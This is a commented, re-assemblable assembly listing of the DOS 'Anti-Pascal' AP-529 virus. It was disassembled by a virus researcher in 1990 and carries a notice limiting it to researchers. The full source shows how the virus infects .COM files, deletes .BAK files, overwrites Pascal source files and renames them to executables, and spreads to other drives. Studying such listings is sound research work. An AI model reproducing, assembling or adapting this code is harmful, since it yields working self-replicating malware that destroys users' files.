page ,132 name AP529 title AP529 - The 'Anti-Pascal' Virus, version AP-529 .radix 16 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º ; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º ; º º ; º The 'Anti-Pascal' Virus, version AP-529 º ; º Disassembled by Vesselin Bontchev, June 1990 º ; º º ; º Copyright (c) Vesselin Bontchev 1989, 1990 º ; º º ; º This listing is only to be made available to virus researchers º ; º or software writers on a need-to-know basis. º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; The disassembly has been tested by re-assembly using MASM 5.0. code segment assume cs:code,ds:code org 100 vlen = v_end-start crit equ 12 ; Address of the original INT 24h handler start: push ax ; Save registers used push cx push si push di push bx push flen ; Save current file length ; The operand of the instruction above is used as a signature by the virus sign equ $-2 jmp short v_start ; Go to virus start flen dw vlen ; File length before infection f_name db 13d dup (?) ; File name buffer for the rename function call fmask db '*.' ; Mask for FindFirst/FindNext fext db 'com', 0 ; The extension part of the file mask parent db '..', 0 ; Path for changing to the parent dir com db 'com' ; File extensions used bak db 'bak' pas db 'pas' wild db '???' exe db 'exe' dta equ $ ; Disk Transfer Address area drive db ? ;Drive to search for pattern db 11d dup (?) ;Search pattern reserve db 9 dup (?) ;Not used attrib db ? ;File attribute time dw ? ;File time date dw ? ;File date fsize dd ? ;File size namez db 14d dup (?) ;File name found mem_seg dw ? ; Segment of the allocated I/O buffer sizehld dw ? ; Size holder v_start: mov bx,1000 ; Shrink program memory size to 64 K mov ah,4A int 21 ; Do it mov ah,48 ; Allocate I/O buffer in memory mov bx,vlen/16d+1 ; (at least vlen long) int 21 ; Do it jc cleanup ; Exit on error mov mem_seg,ax ; Save the segment of the allocated memory mov ax,2524 ; Set critical error handler mov dx,offset int_24 int 21 ; Do it mov ah,1A ; Set new DTA area mov dx,offset dta int 21 ; Do it mov ah,19 ; Get default drive int 21 push ax ; Save it on stack call infect ; Proceed with infection int 11 ; Put equipment bits in ax test ax,1 ; Diskette drives present? jz cleanup ; Exit if not (?!) shl ax,1 ; Get number of floppy disk drives shl ax,1 ; in AH (0-3 means 1-4 drives) and ah,3 add ah,2 ; Convert the number of drives to mov al,ah ; the range 2-5 and put it into BL mov bx,ax xor bh,bh cmp bl,3 ; More than 2 floppy drives? ja many ; Check if the highest one is removable if so mov bl,3 ; Otherwise check disk C: many: mov ax,4408 ; Check whether device is removable int 21 jc cleanup ; Exit on error (network) or ax,ax ; Is device removable? jz cleanup ; Exit if so mov dl,bl ; Otherwise select it as default dec dl mov ah,0E int 21 ; Do it call infect ; Proceed with this drive also cleanup: pop dx ; Restore saved default disk from stack mov ah,0E ; Set default drive int 21 ; Do it pop flen ; Restore flen mov es,mem_seg ; Free allocated memory mov ah,49 int 21 ; Do it mov ah,4A ; Get all the available memory push ds ; ES := DS pop es mov bx,-1 int 21 ; Do it mov ah,4A ; Assign it to the program (the initial state) int 21 ; Do it mov dx,80 ; Restore old DTA mov ah,1A int 21 ; Do it mov ax,2524 ; Restore old critical error handler push ds ; Save DS lds dx,dword ptr ds:[crit] int 21 ; Do it pop ds ; Restore DS pop bx ; Restore BX mov ax,4F ; Copy the program at exit_pgm into mov es,ax ; the Intra-Aplication Communication xor di,di ; Area (0000:04F0h) mov si,offset exit_pgm mov cx,pgm_end-exit_pgm ; exit_pgm length cld rep movsb ; Do it mov ax,ds ; Correct the Far JMP instruction with stosw ; the current DS value mov di,offset start ; Prepare for moving vlen bytes mov si,flen ; from file end to start add si,di mov cx,vlen push ds ; ES := DS pop es ; jmp far ptr 004F:0000 ; Go to exit_pgm db 0EA, 0, 0, 4F, 0 exit_pgm: rep movsb ; Restore the original bytes of the file pop di ; Restore registers used pop si pop cx pop ax db 0EA, 0, 1 ; JMP Far at XXXX:0100 pgm_end equ $ lseek: mov ah,42 xor cx,cx ; Offset := 0 xor dx,dx int 21 ; Do it ret ; And exit f_first: ; Find first file with extension pointed by SI mov di,offset fext ; Point DI at extension part of fmask cld ; Clear direction flag movsw ; Copy the extension pointed by SI movsb ; to file mask for FindFirst/FindNext mov ah,4E ; Find first file matching fmask mov cx,20 ; Normal files only mov dx,offset fmask ret ; Exit wr_body: mov ax,3D02 ; Open file for reading and writing mov dx,offset namez ; FIle name is in namez int 21 ; Do it mov bx,ax ; Save handle in BX mov ah,3F ; Read the first vlen bytes of the file mov cx,vlen ; in the allocated memory buffer push ds ; Save DS mov ds,mem_seg xor dx,dx int 21 ; Do it mov ax,ds:[sign-start] ; Get virus signature pop ds ; Restore DS cmp ax,word ptr ds:[offset sign] ; File already infected? je is_inf ; Exit if so push ax ; Save AX mov al,0 ; Lseek to the file beginning call lseek ; Do it mov ah,40 ; Write virus body over the mov dx,offset start ; first bytes of the file mov cx,sizehld ; Number of bytes to write int 21 ; Do it pop ax ; Restore AX clc ; CF == 0 means infection successfully done ret ; Exit is_inf: stc ; CF == 1 means file already infected ret ; Exit rename: push si ; Save SI mov si,offset namez ; Point SI at file name mov dx,si ; Point DX there too mov di,offset f_name ; Point DI at the name buffer cpy_name: lodsb ; Get byte from the file name stosb ; Store it in the name buffer cmp al,'.' ; Is all the name (up to the extension) copied? jne cpy_name ; Loop if not pop si ; Restore SI movsw ; Copy the new extension movsb ; into the file name buffer xor al,al ; Make the file name ASCIIZ stosb ; by placing a zero after it mov ah,56 ; Now rename the file to the new extension mov di,offset f_name int 21 ; Do it ret ; Done. Exit infect: mov si,offset com ; Find the first .COM file in this dir call f_first f_next2: int 21 ; Do it jc pass_2 ; Do damage if no such files mov ax,word ptr fsize ; Check the size of the file found cmp ax,vlen ; Less than virus length? jb next ; Too small, don't touch cmp ax,0FFFF-vlen ; Bigger than 64 K - vlen? ja next ; Too big, don't touch mov flen,ax ; Save file length mov sizehld,vlen call wr_body ; Write virus body over the file jc next ; Exit on error mov al,2 ; Lseek to file end call lseek ; Do it push ds ; Save DS mov ds,mem_seg ; Write the original bytes from mov cx,vlen ; the file beginning after its end xor dx,dx mov ah,40 int 21 ; Do it pop ds ; Restore DS close: mov ah,3E ; Close the file handle int 21 ; Do it ret ; And exit next: call close ; Close the file mov ah,4F ; And go find another one jmp f_next2 pass_2: mov si,offset bak ; Find a *.BAK file call f_first ; Do it int 21 jc pas_srch ; On error search for *.PAS files mov dx,offset namez ; Otherwise delete the file mov ah,41 ; Do it int 21 pas_srch: mov si,offset pas ; Find a *.PAS file call f_first ; Do it int 21 jc inf_xit ; Exit on error mov ax,word ptr fsize mov sizehld,ax ; Save file size call wr_body ; Overwrite the file with the virus body call close ; Close it mov si,offset com ; Try to rename it as a .COM file call rename ; Do it jnc inf_xit ; Exit if renaming OK mov si,offset exe ; Otherwise try to rename it as an .EXE file call rename ; Do it jnc inf_xit ; Exit if renaming OK mov ah,41 ; Otherwise just delete that stupid file int 21 ; Do it inf_xit: ret ; And exit int_24: ; Critical error handler mov al,2 ; Abort suggested (?!) iret ; Return v_end = $ ; Here goes the rest of the original program (if any): ; And here (after the end of file) are the overwritten first 529 bytes: jmp quit ; The original "program" db (529d - 8) dup (90) quit: mov ax,4C00 ; Just exit int 21 code ends end start